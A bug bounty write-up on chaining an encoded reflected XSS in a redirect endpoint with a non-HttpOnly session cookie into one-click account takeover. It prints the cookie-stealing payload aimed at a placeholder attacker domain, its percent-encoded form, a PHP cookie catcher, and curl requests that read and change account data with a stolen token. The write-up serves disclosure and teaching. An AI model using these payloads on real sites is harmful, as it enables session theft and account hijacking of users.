Reflected XSS and Account Takeover: How I Got Paid for a Duplicate in Bug Bounty
An encoding bypass on a redirect endpoint plus a non-HttpOnly session cookie let one crafted link hijack a victim's account, balance included.
Este writeup está disponível apenas em inglês.
From a Broken Redirect to Full Account Takeover
I was poking around a target that handled real user balances when I noticed something small: a /callback/redirect endpoint that took two parameters, method and url, and forwarded the browser wherever the url param pointed. Redirect endpoints are usually the first thing I check on a new target, and most of them have a filter that blocks the obvious payloads.
The First Crack
I threw a javascript: URI at the url parameter. The filter caught it and stripped the response down to a blank page. Most hunters would move to the next endpoint here.
I noticed the endpoint behaved differently depending on the method parameter instead. Setting method=GET gave one response. Setting method=POST gave a looser one. That inconsistency told me the filter probably lived in two different code paths, and two code paths written by two different people, or on two different days, rarely enforce the same rules.
So I switched to method=POST and tried the javascript: payload again. Same block. Filter still caught the raw string.
Encoding My Way Through
Filters that catch the literal string javascript: almost never catch its URL-encoded form unless someone decoded and re-checked before use. I took my payload:
javascript:a=document;b='location';c='cookie'/*bypass*/;d='//[ATTACKER_DOMAIN]/';a[b]=d+a[c]and percent-encoded every character:
%6a%61%76%61%73%63%72%69%70%74%3a%61%3d%64%6f%63%75%6d%65%6e%74%3b%62%3d%27%6c%6f%63%61%74%69%6f%6e%27%3b%63%3d%27%63%6f%6f%6b%69%65%27%2f%2a%62%79%70%61%73%73%2a%2f%3b%64%3d%27%2f%2f%5b%41%54%54%41%43%4b%45%52%5f%44%4f%4d%41%49%4e%5d%2f%27%3b%61%5b%62%5d%3d%64%2b%61%5b%63%5d
Dropped it into the url param alongside method=POST, opened the link, and watched my browser bar flash to my own server for a split second before landing on the redirect target. The filter decoded the string somewhere in its pipeline, but only after the check had already passed, which is the kind of decode-after-validate mistake that shows up in a lot of these bypasses.
At this point I had reflected JavaScript execution in the context of the real site. Cool, but on its own that's a medium-severity finding at best. What could I steal with it?

Finding Out the Cookie Was the Keys to the Kingdom
I looked at what the site stored client-side and found a session cookie that authorized API calls, with no HttpOnly flag on it. That missing flag was what let the reflected XSS go from an alert box on screen to a stolen session.
I built a tiny PHP catcher and hosted it on a domain I control:
<?php
function getFullUrl() {
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];
$fragment = isset($_SERVER['FRAGMENT']) ? $_SERVER['FRAGMENT'] : '';
return $uri . ($fragment ? '#' . $fragment : '');
}
function getSessionValue($urlString) {
preg_match('/[SESSION_COOKIE_NAME]=([^;]+)/', $urlString, $matches);
return $matches[1] ?? null;
}
?>
<html>
<body>
<h1><?php echo "User Token: " . getSessionValue(getFullUrl()); ?></h1>
<h2>User cookies:</h2>
<textarea><?php echo getFullUrl(); ?></textarea>
</body>
</html>Then I pointed my encoded payload at it and clicked the crafted link myself, playing the role of my own victim:
https://www.[target].com/callback/redirect?method=POST&url=<ENCODED_PAYLOAD>
My browser redirected through the vulnerable endpoint, ran the injected script, grabbed document.cookie, and shipped it to my catcher page. The session token showed up on screen a second later. One click, no warning shown to the browser owner.

Turning a Stolen Cookie Into a Takeover
A stolen session token is only as dangerous as what it unlocks. I started poking the account API with it:
curl "https://www.[target].com/api/v1-preview/account" \
-H "Cookie: [SESSION_COOKIE_NAME]=<STOLEN_TOKEN>;" \
-H "Referer: https://www.[target].com/" -iThat single request handed back the full account profile: email, phone number, address, balance, full name. No second factor, no re-authentication, nothing standing in the way.
Then I tried the obvious next move: could I write, not just read?
curl -X PATCH "https://www.[target].com/api/v1-preview/account" \
-H "Cookie: [SESSION_COOKIE_NAME]=<STOLEN_TOKEN>;" \
-H "Referer: https://www.[target].com/" \
-H "Content-Type: application/json" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" \
--data '{"email":"attacker-controlled@example.com"}' -iIt worked. The account's registered email changed to one I controlled. From here, a password reset flow hands over full ownership of the account, balance included.

A reflected XSS, a missing HttpOnly flag, and a PATCH endpoint with no re-authentication requirement chained together into a one-click account takeover against any logged-in user who opened a malicious link.
The Triage Back-and-Forth
I filed the report and got the usual "we're discussing internally with the team" holding pattern. A week later, the internal team said they couldn't reproduce the PATCH step. I went back, re-tested, and found the missing piece myself: the request needed a User-Agent header, or the API rejected it without an error message. I attached a fresh proof screenshot, a working curl command, and an exported request collection so the team could replay everything without guessing.
The team marked the report as a known issue tied to a prior XSS finding on a shared codebase, since the reflected XSS piece alone had already surfaced elsewhere. But the account-takeover chain was new to them, and they decide to pay me a bounty over that account takeover exploitation.
I also pushed back once on the severity scoring. The triager had marked Integrity as Low. I quoted the CVSS definition in the thread: an attacker who can fully compromise the account, including draining the balance, causes a direct, serious consequence to the impacted component, which is the definition of High. Don't accept a severity score just because a triager typed it first. If your findings support a higher rating, make the case with the actual CVSS language.
Takeaways for Other Hunters
- Encoding bypasses are still everywhere. If a filter blocks your raw payload, check whether it decodes input after validating instead of before. It's a one-line mistake that shows up constantly.
- Parameter behavior can differ by method. A
GETvsPOSTinconsistency on the same endpoint is worth testing both ways, every time. - XSS severity depends on what's reachable from the browser context. A reflected XSS next to a non-
HttpOnlysession cookie and a permissive account API is a different animal than the same XSS on a static marketing page. Ask what the script can actually reach before scoring it. - Don't let "needs more info" kill a good report. If a team says they can't reproduce, that's your cue to dig deeper, not to give up. I found the missing
User-Agentrequirement because I went back and retested instead of assuming the bug was gone. - Argue your CVSS score with the spec, not your gut. Quoting the actual definition of High integrity impact got the team to reconsider their number.
Happy hunting.